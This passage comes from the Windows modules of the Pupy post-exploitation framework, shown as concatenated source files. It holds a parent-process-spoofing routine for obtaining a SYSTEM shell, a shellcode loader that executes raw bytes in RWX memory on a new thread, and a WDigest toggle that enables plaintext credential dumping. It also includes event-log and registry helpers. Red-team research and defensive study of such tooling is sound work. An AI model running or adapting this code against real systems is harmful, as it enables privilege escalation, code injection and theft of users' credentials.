    Returns True if no problem
    Based on : https://github.com/decoder-it/psgetsystem/
        blob/master/psgetsys.ps1
    """

    lpAttributeList = None
    lpSize = c_size_t(0)

    EnablePrivilege("SeDebugPrivilege")

    # 1.Call with null lpAttributeList first to get back the lpSize
    InitializeProcThreadAttributeList(None, 1, 0, byref(lpSize))

    # 2.Initialize the attribute list
    lpAttributeList = create_string_buffer(lpSize.value)
    if not InitializeProcThreadAttributeList(
            lpAttributeList, 1, 0, byref(lpSize)):
        raise WinError(get_last_error())

    # 3.Add attribute to attribute list (we now know buffer size for
    # the specified number of attributes we allocate and initialize
    # AttributeList)
    # lpValue = PVOID(ppid) # Handle to specified parent

    handle = OpenProcess(PROCESS_ALL_ACCESS, False, int(ppid))
    if not handle:
        raise WinError(get_last_error())

    last_error = None
    hHandle = HANDLE(handle)

    if not UpdateProcThreadAttribute(
        lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
            byref(hHandle), sizeof(hHandle), 0, None):
        last_error = get_last_error()
        CloseHandle(handle)
        raise WinError(last_error)

    # gaining a shell...
    lpProcessInformation = PROCESS_INFORMATION()

    lpStartupInfo = STARTUPINFOEX()
    lpStartupInfo.StartupInfo.lpReserved = 0
    lpStartupInfo.StartupInfo.lpDesktop = 0
    lpStartupInfo.StartupInfo.lpTitle = 0
    lpStartupInfo.StartupInfo.dwFlags = 0
    lpStartupInfo.StartupInfo.cbReserved2 = 0
    lpStartupInfo.StartupInfo.lpReserved2 = 0
    lpStartupInfo.StartupInfo.cb = sizeof(lpStartupInfo)
    lpStartupInfo.lpAttributeList = addressof(lpAttributeList)

    lpProcessInformation = PROCESS_INFORMATION()
    lpProcessInformation.hProcess = INVALID_HANDLE_VALUE
    lpProcessInformation.hThread = INVALID_HANDLE_VALUE
    lpProcessInformation.dwProcessId = 0
    lpProcessInformation.dwThreadId = 0

    dwCreationFlags = (CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT)

    if not CreateProcessW(
        None, cmd, None, None, 0, dwCreationFlags, None,
            None,  byref(lpStartupInfo), byref(lpProcessInformation)):
        raise WinError(get_last_error())

    CloseHandle(handle)
    return lpProcessInformation.dwProcessId


def get_integrity_level(pid):
    '''
    Returns the integrity level of a specific pid
    Notice the process running this method should have less or same
    'pivileges' than the pid for getting the integrity level.
    e.g. a process running with medium integrity level can't access to
    integrity level information of a process running with the system or
    high integrity level.
    You can test with Process Explorer.
    Returns 0, 1, 2, 3 ,4, 5 or 6 if an error. Otherwise returns string
    (intergrity level)
    '''

    mapping = {
        0x0000: 'Untrusted',
        0x1000: 'Low',
        0x2000: 'Medium',
        0x2100: 'Medium high',
        0x3000: 'High',
        0x4000: 'System',
        0x5000: 'Protected process',
    }

    # TOKEN_READ = DWORD(0x20008)
    TokenIntegrityLevel = c_uint32(25)
    token = c_void_p()

    proc_handle = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid))
    if proc_handle == 0:
        return 0

    if not OpenProcessToken(
            proc_handle,
            TOKEN_READ,
            byref(token)):
        logging.error('Failed to get process token')
        return 1

    if token.value == 0:
        logging.error('Got a NULL token')
        return 2
    try:
        info_size = DWORD()
        if GetTokenInformation(
                token,
                TokenIntegrityLevel,
                c_void_p(),
                info_size,
                byref(info_size)):
            logging.error('GetTokenInformation() failed expectation')
            return 3

        if info_size.value == 0:
            logging.error('GetTokenInformation() returned size 0')
            return 4

        token_info = TOKEN_MANDATORY_LABEL()
        resize(token_info, info_size.value)
        if not GetTokenInformation(
                token,
                TokenIntegrityLevel,
                byref(token_info),
                info_size,
                byref(info_size)):
            logging.error(
                'GetTokenInformation(): Unknown error with '
                'buffer size %d: %d', info_size.value, GetLastError()
            )
            return 6

        p_sid_size = GetSidSubAuthorityCount(token_info.Label.Sid)
        res = GetSidSubAuthority(
            token_info.Label.Sid, p_sid_size.contents.value - 1
        )
        value = res.contents.value
        return mapping.get(value) or '0x%04x' % value

    finally:
        CloseHandle(token)


================================================
FILE: pupy/packages/windows/all/pupwinutils/shellcode.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import ctypes
import threading

def allocate_exe(shellcode):

    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                        buf,
                                        ctypes.c_int(len(shellcode)))

    ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

def exec_shellcode(shellcode):
    shellcode = bytearray(shellcode)
    t = threading.Thread(target=allocate_exe, args=(shellcode,))
    t.daemon = True
    t.start()


================================================
FILE: pupy/packages/windows/all/pupwinutils/wdigest.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from _winreg import (
    HKEY_LOCAL_MACHINE, KEY_READ, KEY_WRITE, REG_DWORD,
    ConnectRegistry, OpenKey, SetValueEx, CloseKey, QueryValueEx
)

def modifyKey(keyPath, regPath, value, root=HKEY_LOCAL_MACHINE):
    aReg = ConnectRegistry(None, root)

    try:
        aKey = OpenKey(aReg, keyPath, 0, KEY_WRITE)
        SetValueEx(aKey, regPath, 0, REG_DWORD, value)
        CloseKey(aKey)
    except Exception as e:
        return False, e

    return True, ''


def queryValue(keyPath, regPath, root=HKEY_LOCAL_MACHINE):
    aReg = ConnectRegistry(None, root)
    try:
        aKey = OpenKey(aReg, keyPath, 0, KEY_READ)
        value = QueryValueEx(aKey, regPath)
        CloseKey(aKey)
        if value[0] == 0:
            return False, 'UseLogonCredential disabled'
        else:
            return True, 'UseLogonCredential already enabled'
    except:
        return False, 'UseLogonCredential key not found, you should create it'

def wdigest(action):
    key_path = r"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest\\"
    key_name = 'UseLogonCredential'

    if action == 'check':
        return queryValue(key_path, key_name)
    elif action == 'enable':
        ok, message = modifyKey(key_path, key_name, 1)
        if ok:
            message = 'UseLogonCredential key created, logoff the user session to dump plaintext credentials'
        return ok, message
    elif action == 'disable':
        ok, message = modifyKey(key_path, key_name, 0)
        if ok:
            message = 'UseLogonCredential key deleted'
        return ok, message


================================================
FILE: pupy/packages/windows/all/readlogs.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = [
    'EventLog', 'get_last_events'
]

import re

from winerror import HRESULT_CODE

from time import time

from pupwinutils.security import namebysid
try:
    from pupwinutils.security import StationNameByPid
except ImportError:
    StationNameByPid = None

from pywintypes import error

from win32api import MAKELANGID, LoadLibraryEx, FreeLibrary, FormatMessageW
from win32con import (
    LANG_NEUTRAL, SUBLANG_NEUTRAL,
    FORMAT_MESSAGE_FROM_HMODULE, LOAD_LIBRARY_AS_DATAFILE
)

from sys import getdefaultencoding, version_info
from os.path import expandvars, isfile
from socket import gethostbyaddr
from socket import error as socket_error

from win32con import (
    EVENTLOG_AUDIT_FAILURE,
    EVENTLOG_AUDIT_SUCCESS,
    EVENTLOG_INFORMATION_TYPE,
    EVENTLOG_WARNING_TYPE,
    EVENTLOG_ERROR_TYPE
)

from _winreg import (
    OpenKeyEx, EnumKey, CloseKey, QueryValueEx,
    HKEY_LOCAL_MACHINE, KEY_READ
)

from win32evtlog import (
    OpenEventLog, ReadEventLog, CloseEventLog,
    GetNumberOfEventLogRecords,
    EVENTLOG_BACKWARDS_READ, EVENTLOG_SEQUENTIAL_READ
)

if version_info.major > 2:
    basestring = str
    unicode = str
    long = int

LANGID = MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL)
BLACKLIST = (
    'Application Error'
)

LOGON_TYPES = {
    2: 'Con',
    3: 'Net',
    4: 'Batch',
    5: 'Service',
    7: 'Unlock',
    8: 'Net(CT)',
    9: 'NewCreds',
    10: 'RDP',
    11: 'RDP(C)',
}


class Match(object):
    __slots__ = (
        'value', 'is_num'
    )

    def __init__(self, value):
        self.is_num = False

        if value.startswith('0x'):
            try:
                self.value = int(value[2:], 16)
                self.is_num = True
            except ValueError:
                pass

        elif all(ch in '0123456789' for ch in value):
            self.value = int(value)
            self.is_num = True

        elif all(ch in '0123456789aAbBcCdDeEfF' for ch in value):
            self.value = int(value, 16)
            self.is_num = True

        if not self.is_num:
            self.value = re.compile(value, re.IGNORECASE | re.MULTILINE)

    def matches(self, other):
        if self.is_num:
            if isinstance(other, basestring):
                return any(
                    tpl.format(self.value) in other for tpl in (
                        '{}', '{:x}', '{:08x}', '0x{:08x}', '0x{:x}'
                ))
            return self.value == other
        else:
            return bool(self.value.search(other))


class EventLog(object):
    event_types = {
        EVENTLOG_AUDIT_FAILURE: 'FAILURE',
        EVENTLOG_AUDIT_SUCCESS: 'SUCCESS',
        EVENTLOG_INFORMATION_TYPE: 'INFO',
        EVENTLOG_WARNING_TYPE: 'WARNING',
        EVENTLOG_ERROR_TYPE: 'ERROR'
    }

    def __init__(self, source=None, max_iters=32768):
        self._source = source
        self._exceptions = {}
        self._formatters_cache = {}
        self._max_iters = max_iters

        self.sources = self.get_types()

    def _iter_log_names(self):
        dups = set()

        if self._source:
            yield self._source.split('/', 1)[0]
            return

        for well_known in ('Application', 'Security', 'System'):
            dups.add(well_known)
            yield well_known

        key = OpenKeyEx(
            HKEY_LOCAL_MACHINE,
            u'SYSTEM\\CurrentControlSet\\Services\\EventLog',
            0, KEY_READ
        )

        try:
            idx = 0
            while idx < self._max_iters:
                try:
                    source = EnumKey(key, idx)
                    if source in dups:
                        continue

                    dups.add(source)

                    if type(source) == str:
                        source = source.decode(getdefaultencoding())

                    yield source

                except WindowsError:
                    break

                finally:
                    idx += 1

        finally:
            CloseKey(key)

    def get_types(self):
        sources = []

        for logname in self._iter_log_names():
            handle = None

            try:
                handle = OpenEventLog('', logname)
                if not handle:
                    continue

                # If failed, then provider is invalid or inaccessible
                GetNumberOfEventLogRecords(handle)
                CloseEventLog(handle)

                sources.append(logname)

            except error as e:
                if e.winerror not in (6, 87, 1314):
                    raise

                self._exceptions[logname] = (e, handle)

            except WindowsError as e:
                self._exceptions[logname] = (e, handle)

        return sources

    def get_events_count(self):
        events_count = {}

        for logtype in self.sources:
            log = OpenEventLog('', logtype)
            if not log:
                continue

            try:
                events_count[logtype] = GetNumberOfEventLogRecords(log)
                CloseEventLog(log)

            except error as e:
                if e.winerror != 6:
                    raise

        return events_count

    def get_events(self, logtype, server='', filter_event_id=None, fmt=True, filter_source=None):
        if filter_event_id is not None:
            if isinstance(filter_event_id, (int, long)):
                filter_event_id = {filter_event_id}
            elif isinstance(filter_event_id, basestring):
                if ',' in filter_event_id:
                    filter_event_id = set(int(x.strip()) for x in filter_event_id.split(','))
                else:
                    filter_event_id = {int(filter_event_id)}

        log = OpenEventLog(server, logtype)
        if not log:
            return

        flags = EVENTLOG_BACKWARDS_READ|EVENTLOG_SEQUENTIAL_READ

        try:
            events = ReadEventLog(log, flags, 0)
        except error as e:
            if e.winerror not in {23}:
                raise

            return

        try:
            events = True
            while events:
                try:
                    events = ReadEventLog(log, flags, 0)
                except error as e:
                    if e.winerror not in {23}:
                        raise ValueError

                    return

                if not events:
                    break

                for ev_obj in events:
                    event_id = int(HRESULT_CODE(ev_obj.EventID))

                    if filter_event_id is not None and event_id not in filter_event_id:
                        continue

                    if filter_source is not None and ev_obj.SourceName != filter_source:
                        continue

                    if not ev_obj.StringInserts:
                        continue

                    message = None

                    if fmt and ev_obj.SourceName not in self._formatters_cache \
                          and ev_obj.SourceName not in BLACKLIST:
                        source_name = ev_obj.SourceName
                        if type(source_name) == str:
                            source_name = source_name.decode(getdefaultencoding())

                        subkey = u'SYSTEM\\CurrentControlSet\\Services\\EventLog\\{}\\{}'.format(
                            logtype, source_name
                        )

                        try:
                            subkey = subkey.encode(getdefaultencoding())
                        except UnicodeEncodeError:
                            subkey = subkey.encode('utf-8')

                        try:
                            key = OpenKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, KEY_READ)
                        except WindowsError:
                            continue

                        try:
                            dllNames, _ = QueryValueEx(key, 'EventMessageFile')

                            for dllName in dllNames.split(';'):
                                dllName = expandvars(dllName.strip())
                                if not isfile(dllName):
                                    continue

                                dllHandle = LoadLibraryEx(
                                    dllName, 0, LOAD_LIBRARY_AS_DATAFILE)

                                if not dllHandle:
                                    continue

                                try:
                                    message = FormatMessageW(FORMAT_MESSAGE_FROM_HMODULE,
                                        dllHandle, ev_obj.EventID, LANGID, ev_obj.StringInserts)

                                except error:
                                    FreeLibrary(dllHandle)
                                    continue

                                if message:
                                    self._formatters_cache[ev_obj.SourceName] = dllHandle
                                    break

                            if not message:
                                self._formatters_cache[ev_obj.SourceName] = None
                                message = '\n'.join(ev_obj.StringInserts)

                        except WindowsError:
                            self._formatters_cache[ev_obj.SourceName] = None
                    elif not fmt:
                        message = [
                            unicode(x) for x in ev_obj.StringInserts
                        ]

                    elif ev_obj.SourceName in BLACKLIST or not self._formatters_cache[ev_obj.SourceName]:
                        message = '\n'.join(ev_obj.StringInserts)
                    else:
                        try:
                            message = FormatMessageW(
                                FORMAT_MESSAGE_FROM_HMODULE,
                                self._formatters_cache[ev_obj.SourceName],
                                ev_obj.EventID, LANGID, ev_obj.StringInserts)

                        except error:
                            message = '\n'.join(ev_obj.StringInserts)

                    user = ''

                    if ev_obj.Sid is not None:
                        try:
                            domain, domain_user = namebysid(str(ev_obj.Sid))
                            user = u'{}\\{}'.format(domain, domain_user)
                        except error:
                            user = str(ev_obj.Sid)

                    if not message:
                        continue

                    yield {
                        'EventID': event_id,
                        'record': ev_obj.RecordNumber,
                        'date': int(ev_obj.TimeGenerated),
                        'computer': ev_obj.ComputerName,
                        'category': ev_obj.EventCategory,
                        'msg': message,
                        'source': logtype + '/' + ev_obj.SourceName,
                        'type': EventLog.event_types.get(ev_obj.EventType, 'UNKNOWN'),
                        'user': user
                    }
        except GeneratorExit:
            pass

        finally:
            for source in tuple(self._formatters_cache):
                if self._formatters_cache[source]:
                    FreeLibrary(self._formatters_cache[source])
                del self._formatters_cache[source]

            CloseEventLog(log)

    def get_last_events(self, count=10, includes=[], excludes=[], eventid=None):
        events = {}

        includes = [
            Match(x) for x in includes
        ]

        excludes = [
            Match(x) for x in excludes
        ]

        for log in self.sources:
            amount = 0

            source = None

            if self._source and '/' in self._source:
                source = self._source.split('/', 1)[1]

            for event in self.get_events(log, filter_event_id=eventid, filter_source=source):
                source = event.pop('source')

                if source not in events:
                    events[source] = []

                append = not includes and not excludes
                excluded = False

                for key, value in event.items():
                    if append:
                        break

                    for exclude in excludes:
                        if exclude.matches(value):
                            append = False
                            excluded = True
                            break

                    if excluded:
                        break

                    for include in includes:
                        if include.matches(value):
                            append = True
                            break

                if not includes and not excluded:
                    append = True

                if not append:
                    continue

                events[source].append(event)

                amount += 1
                if amount == count:
                    break

        return events

def get_last_events(count=10, includes=[], excludes=[], eventid=None, source=None):
    return EventLog(source).get_last_events(count, includes, excludes, eventid)

def lastlog():
    events = []
    now = int(time())
    hostmap = {}

    sessions = {}
    powerdowns = []

    eventlog = EventLog()

    for event in eventlog.get_events('System', filter_event_id=6008, fmt=False):
        powerdowns.append(event['date'])

    powerdowns = sorted(powerdowns)

    for event in eventlog.get_events('Security', filter_event_id=(4624,4634,4647), fmt=False):
        session_id = None
        if event['EventID'] == 4624:
            _, _, _, _, _, user, domain, session_id, logon_type, _, \
              _, _, _, _, _, _, pid, comm, ip = event['msg'][:19]

            session_id = int(session_id, 16)
            logon_type = int(logon_type)
            pid = int(pid, 16)

            if logon_type in (0, 4, 5) or (pid == 0 and logon_type == 3):
                # Filter out system crap
                continue

            if comm.endswith('winlogon.exe'):
                # This is by default, who cares
                comm = None

            if logon_type == 2 or '-' in ip:
                ip = None

            if session_id not in sessions:
                sessions[session_id] = {
                    'logon_type': logon_type,
                    'type': None,
                    'start': None,
                    'end': None
                }
            elif logon_type != sessions[session_id]['logon_type']:
                continue

            logon_type = LOGON_TYPES.get(logon_type, logon_type)

            if ip and ip not in hostmap:
                hostname = None
                try:
                    hostname = gethostbyaddr(ip)[0]
                except socket_error:
                    pass

                hostmap[ip] = hostname

            line = logon_type
            if StationNameByPid:
                station = StationNameByPid(pid)
                if station:
                    line = '{}: {} ({})'.format(line, station, pid)

                line += ' {:08x}'.format(session_id)

            if not sessions[session_id]['start'] or \
                   event['date'] < sessions[session_id]['start']:
                sessions[session_id]['start'] = event['date']

            if not sessions[session_id].get('host'):
                sessions[session_id]['host'] = hostmap[ip] if ip else None

            if not sessions[session_id].get('user'):
                sessions[session_id]['user'] = domain + '\\' + user

            if not sessions[session_id].get('ip'):
                sessions[session_id]['ip'] = ip

            if not sessions[session_id].get('line'):
                sessions[session_id]['line'] = line

            if not sessions[session_id].get('ip'):
                sessions[session_id]['pid'] = comm

        elif event['EventID'] in (4634, 4647):

            logon_type = None
            session_id = None

            if event['EventID'] == 4634:
                _, _, _, session_id, logon_type = event['msg']
                logon_type = int(logon_type)
            else:
                _, _, _, session_id = event['msg']

            session_id = int(session_id, 16)

            if session_id not in sessions:
                sessions[session_id] = {
                    'start': None,
                    'end': None,
                    'type': None,
                    'logon_type': logon_type
                }

            if logon_type is not None and \
                   sessions[session_id]['logon_type'] != logon_type:
                continue

            if not sessions[session_id]['end'] or \
                   event['date'] > sessions[session_id]['end']:
                sessions[session_id]['end'] = event['date']

        if not session_id:
            continue

    for session_id in tuple(sessions):
        if sessions[session_id].get('start') and sessions[session_id].get('end'):
            sessions[session_id]['duration'] = \
              sessions[session_id]['end'] - sessions[session_id]['start']
            events.append(sessions[session_id])
            del sessions[session_id]

    if sessions:
        orphan = [
            session for session in sessions.values() \
                  if 'start' in session and session['start']
        ]

        for session in orphan:
            end = now
            for powerdown in powerdowns:
                if session['start'] < powerdown:
                    session['end'] = powerdown
                    end = powerdown
                    break
                else:
                    session['end'] = -1

            session['duration'] = end - session['start']

        events.extend(
            sorted(orphan, key=lambda x: x['start'])
        )

    events = sorted(events, key=lambda x: x['start'], reverse=True)

    return {
        'now': now,
        'records': events
    }


================================================
FILE: pupy/packages/windows/all/reg.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = [
  'Key', 'search', 'enum',
  'set', 'get', 'rm'
]

import re
import sys
import struct
import threading
import traceback

from ctypes import (
    POINTER, byref,
    c_char_p, c_void_p, c_long,
    Structure, WinError, WinDLL,
    create_unicode_buffer, create_string_buffer,
    wstring_at
)

from ctypes.wintypes import (
    DWORD, LPCWSTR
)

from pupy.network.lib.pupyrpc import nowait
from pupy.network.lib.convcompat import (
    try_as_unicode_string, as_native_string
)

if sys.version_info.major > 2:
    basestring = str
    unicode = str


class FILETIME(Structure):
    _fields_ = [
        ('dwLowDateTime', DWORD),
        ('dwHighDateTime', DWORD)
    ]


HKEY = c_void_p
PHKEY = POINTER(HKEY)
PFILETIME = POINTER(FILETIME)
PDWORD = POINTER(DWORD)
LPDWORD = PDWORD
LPBYTE = c_char_p
REGSAM = DWORD

ERROR_SUCCESS = 0
ERROR_MORE_DATA = 234

REG_NONE = 0
REG_SZ = 1
REG_EXPAND_SZ = 2
REG_BINARY = 3
REG_DWORD = 4
REG_DWORD_BIG_ENDIAN = 5
REG_DWORD_LITTLE_ENDIAN = 4
REG_QWORD = 11
REG_LINK = 6
REG_MULTI_SZ = 7
REG_RESOURCE_LIST = 8
REG_FULL_RESOURCE_DESCRIPTOR = 9
REG_RESOURCE_REQUIREMENTS_LIST = 10

REG_OPTION_RESERVED = 0x0000
REG_OPTION_NON_VOLATILE = 0x0000
REG_OPTION_VOLATILE = 0x0001
REG_OPTION_CREATE_LINK = 0x0002
REG_OPTION_BACKUP_RESTORE = 0x0004
REG_OPTION_OPEN_LINK = 0x0008

KEY_QUERY_VALUE = 0x0001
KEY_SET_VALUE = 0x0002
KEY_CREATE_SUB_KEY = 0x0004
KEY_ENUMERATE_SUB_KEYS = 0x0008
KEY_NOTIFY = 0x0010
KEY_CREATE_LINK = 0x0020
KEY_WOW64_32KEY = 0x0200
KEY_WOW64_64KEY = 0x0100
KEY_WOW64_RES = 0x0300
READ_CONTROL = 0x00020000
SYNCHRONIZE = 0x00100000
STANDARD_RIGHTS_READ = READ_CONTROL
STANDARD_RIGHTS_WRITE = READ_CONTROL
STANDARD_RIGHTS_ALL = 0x001F0000

KEY_READ = (
    (
        STANDARD_RIGHTS_READ | \
        KEY_QUERY_VALUE | \
        KEY_ENUMERATE_SUB_KEYS | \
        KEY_NOTIFY
    ) & (~SYNCHRONIZE)
)
KEY_WRITE = (
    (
        STANDARD_RIGHTS_WRITE | \
        KEY_SET_VALUE | \
        KEY_CREATE_SUB_KEY
    ) & (~SYNCHRONIZE)
)
KEY_ALL_ACCESS = (
    (
        STANDARD_RIGHTS_ALL | \
        KEY_QUERY_VALUE | \
        KEY_SET_VALUE | \
        KEY_CREATE_SUB_KEY | \
        KEY_ENUMERATE_SUB_KEYS | \
        KEY_NOTIFY | \
        KEY_CREATE_LINK
    ) & (~SYNCHRONIZE)
)

advapi32 = WinDLL('advapi32', use_last_error=True)

RegOpenKeyEx = advapi32.RegOpenKeyExW
RegOpenKeyEx.restype = c_long
RegOpenKeyEx.argtypes = (
    HKEY, LPCWSTR, DWORD, REGSAM, PHKEY
)

RegCreateKeyEx = advapi32.RegCreateKeyExW
RegCreateKeyEx.restype = c_long
RegCreateKeyEx.argtypes = (
    HKEY, LPCWSTR, DWORD,
    LPCWSTR, DWORD, REGSAM,
    c_void_p, PHKEY, LPDWORD
)

RegQueryInfoKey = advapi32.RegQueryInfoKeyW
RegQueryInfoKey.restype = c_long
RegQueryInfoKey.argtypes = (
    HKEY, LPCWSTR, LPDWORD, LPDWORD,
    PDWORD, LPDWORD, LPDWORD, LPDWORD,
    LPDWORD, LPDWORD, LPDWORD,
    PFILETIME
)

RegEnumValue = advapi32.RegEnumValueW
RegEnumValue.restype = c_long
RegEnumValue.argtypes = (
    HKEY, DWORD, LPCWSTR, LPDWORD,
    LPDWORD, LPDWORD, LPBYTE, LPDWORD
)

RegEnumKeyEx = advapi32.RegEnumKeyExW
RegEnumKeyEx.restype = c_long
RegEnumKeyEx.argtypes = (
    HKEY, DWORD, LPCWSTR, LPDWORD,
    LPDWORD, LPCWSTR, LPDWORD,
    PFILETIME
)

RegQueryValueEx = advapi32.RegQueryValueExW
RegQueryValueEx.restype = c_long
RegQueryValueEx.argtypes = (
    HKEY, LPCWSTR, LPDWORD, LPDWORD,
    LPBYTE, LPDWORD
)

RegSetValueEx = advapi32.RegSetValueExW
RegSetValueEx.restype = c_long
RegSetValueEx.argtypes = (
    HKEY, LPCWSTR, DWORD, DWORD,
    LPBYTE, DWORD
)

RegCloseKey = advapi32.RegCloseKey
RegCloseKey.restype = c_long
RegCloseKey.argtypes = (
    HKEY,
)

RegDeleteValue = advapi32.RegDeleteValueW
RegDeleteValue.restype = c_long
RegDeleteValue.argtypes = (HKEY, LPCWSTR)

RegDeleteKey = advapi32.RegDeleteValueW
RegDeleteKey.restype = c_long
RegDeleteKey.argtypes = (HKEY, LPCWSTR)


HKEY_CLASSES_ROOT = HKEY(0x80000000)
HKEY_CURRENT_USER = HKEY(0x80000001)
HKEY_LOCAL_MACHINE = HKEY(0x80000002)
HKEY_USERS = HKEY(0x80000003)
HKEY_PERFORMANCE_DATA = HKEY(0x80000004)
HKEY_CURRENT_CONFIG = HKEY(0x80000005)
HKEY_DYN_DATA = HKEY(0x80000006)

WELL_KNOWN_KEYS = {
    'HKEY_LOCAL_MACHINE': HKEY_LOCAL_MACHINE,
    'HKLM': HKEY_LOCAL_MACHINE,
    'HKEY_CURRENT_USER': HKEY_CURRENT_USER,
    'HKCU': HKEY_CURRENT_USER,
    'HKEY_CURRENT_CONFIG': HKEY_CURRENT_CONFIG,
    'HKCC': HKEY_CURRENT_CONFIG,
    'HKEY_CLASSES_ROOT': HKEY_CLASSES_ROOT,
    'HKCR': HKEY_CLASSES_ROOT,
    'HKEY_USERS': HKEY_USERS,
    'HKU': HKEY_USERS,
    'HKEY_PERFORMANCE_DATA': HKEY_PERFORMANCE_DATA,
    'HKPD': HKEY_PERFORMANCE_DATA,
}

WELL_KNOWN_TYPES = {
    int: REG_DWORD,
    str: REG_SZ
}

if sys.version_info.major < 3:
    WELL_KNOWN_TYPES[unicode] = REG_SZ

WELL_KNOWN_TYPES_NAMES = {
    REG_DWORD: 'DWORD',
    REG_QWORD: 'LE64',
    REG_BINARY: 'BINARY',
    REG_DWORD_LITTLE_ENDIAN: 'LE32',
    REG_DWORD_BIG_ENDIAN: 'BE32',
    REG_EXPAND_SZ: 'EXPAND_SZ',
    REG_LINK: 'LINK',
    REG_MULTI_SZ: 'MULTI_SZ',
    REG_NONE: 'NONE',
    REG_RESOURCE_LIST: 'RESOURCE',
    REG_FULL_RESOURCE_DESCRIPTOR: 'RESOURCE_DESCRIPTOR',
    REG_RESOURCE_REQUIREMENTS_LIST: 'RESOURCE_REQUIREMENTS_LIST',
    REG_SZ: 'SZ'
}


def unpack_dword(value, endian='<'):
    result = 0

    if len(value) >= 8:
        result, = struct.unpack(endian + 'Q', value)
    elif len(value) >= 4:
        result, = struct.unpack(endian + 'I', value)
    elif len(value) >= 2:
        result, = struct.unpack(endian + 'H', value)
    elif len(value) >= 1:
        result, = struct.unpack(endian + 'B', value)

    return result


def value_to_bytes(value, ktype):
    if isinstance(value, str):
        return value

    if ktype in (REG_SZ, REG_EXPAND_SZ):
        if not isinstance(value, basestring):
            value = str(value)

        if not isinstance(value, bytes):
            value = value.encode('utf-16le')

    elif ktype == REG_MULTI_SZ:
        new_value = []

        for item in value:
            if not isinstance(item, basestring):
                item = str(item)

            if not isinstance(item, bytes):
                item = item.encode('utf-16le')

            new_value.append(item)

        value = b'\0'.join(new_value) + b'\0\0'

    elif ktype == REG_DWORD:
        value = struct.pack('<i', value)

    elif ktype == REG_DWORD_LITTLE_ENDIAN:
        value = struct.pack('<i', value)

    elif ktype == REG_DWORD_BIG_ENDIAN:
        value = struct.pack('>i', value)

    elif ktype == REG_QWORD:
        value = struct.pack('<q', value)

    return value


def raise_on_error(code):
    if code == ERROR_SUCCESS:
        return

    raise WinError(code)


def QueryValueEx(key, value_name):
    typ = DWORD()
    size = DWORD(0)

    value_name = try_as_unicode_string(value_name, fail=False)

    rc = RegQueryValueEx(
        key, value_name, None,
        byref(typ),
        None, byref(size)
    )

    if rc != ERROR_MORE_DATA:
        raise_on_error(rc)

    buf = create_string_buffer(size.value)
    rc = RegQueryValueEx(
        key, value_name, None,
        byref(typ),
        buf, byref(size)
    )

    raise_on_error(rc)
    return buf[:size.value], typ.value


def EnumValue(key, index, max_value_size=None, max_data_size=None):
    if max_data_size is None or max_value_size is None:
        value_size = DWORD(0)
        data_size = DWORD(0)

        rc = RegQueryInfoKey(
            key, None, None, None, None,
            None, None, None,
            byref(value_size), byref(data_size),
            None, None
        )

        raise_on_error(rc)

        value_size.value += 1

        value = create_unicode_buffer(value_size.value)
        data = create_string_buffer(data_size.value)
    else:
        value_size = DWORD(max_value_size)
        data_size = DWORD(max_data_size)

        value = create_unicode_buffer(value_size.value)
        data = create_string_buffer(data_size.value)

    typ = DWORD()
    rc = RegEnumValue(
        key, index,
        value, byref(value_size),
        None, byref(typ),
        data, byref(data_size)
    )

    raise_on_error(rc)
    return value.value, data[:data_size.value], typ.value


def EnumKey(key, index):
    tmpbuf = create_unicode_buffer(257)
    length = DWORD(257)

    rc = RegEnumKeyEx(
        key, index,
        tmpbuf,
        byref(length), None,
        None, None, None
    )

    raise_on_error(rc)
    return wstring_at(tmpbuf, length.value).rstrip(u'\x00')


def OpenKey(key, sub_key, access=KEY_READ, options=REG_OPTION_RESERVED):
    sub_key = try_as_unicode_string(sub_key, fail=False)

    new_key = HKEY()
    rc = RegOpenKeyEx(
        key, sub_key,
        options,
        access,
        byref(new_key)
    )

    raise_on_error(rc)
    return new_key


def CreateKey(key, sub_key, access=KEY_WRITE, options=REG_OPTION_RESERVED):
    sub_key = try_as_unicode_string(sub_key, fail=False)
    new_key = HKEY()
    rc = RegCreateKeyEx(
        key, sub_key, 0, None, options, access,
        None, byref(new_key), None
    )

    raise_on_error(rc)
    return new_key


def SetValueEx(key, name, ktype, value):
    value = value_to_bytes(value, ktype)
    name = try_as_unicode_string(name, fail=False)
    size = len(value)

    rc = RegSetValueEx(
        key, name, 0, ktype, value, size
    )
    raise_on_error(rc)


def DeleteKey(key, subkey):
    subkey = try_as_unicode_string(subkey, fail=False)
    rc = RegDeleteKey(key, subkey)
    raise_on_error(rc)


def DeleteValue(key, value):
    value = try_as_unicode_string(value, fail=False)
    rc = RegDeleteValue(key, value)
    raise_on_error(rc)


def CloseKey(key):
    rc = RegCloseKey(key)
    raise_on_error(rc)


class KeyIter(object):
    __slots__ = (
        'handle', 'orig_name', 'key',
        'sub', 'idx', 'is_value',
        'max_value_size', 'max_data_size'
    )

    def __init__(self, orig_name, key, sub, handle):
        self.orig_name = orig_name
        self.key = key
        self.sub = sub
        self.handle = handle
        self.idx = 0
        self.is_value = False
        self.max_value_size = None
        self.max_data_size = None

    def next(self):
        try:
            result = None
            if self.is_value:
                if self.max_value_size is None or self.max_data_size is None:
                    value_size = DWORD(0)
                    data_size = DWORD(0)
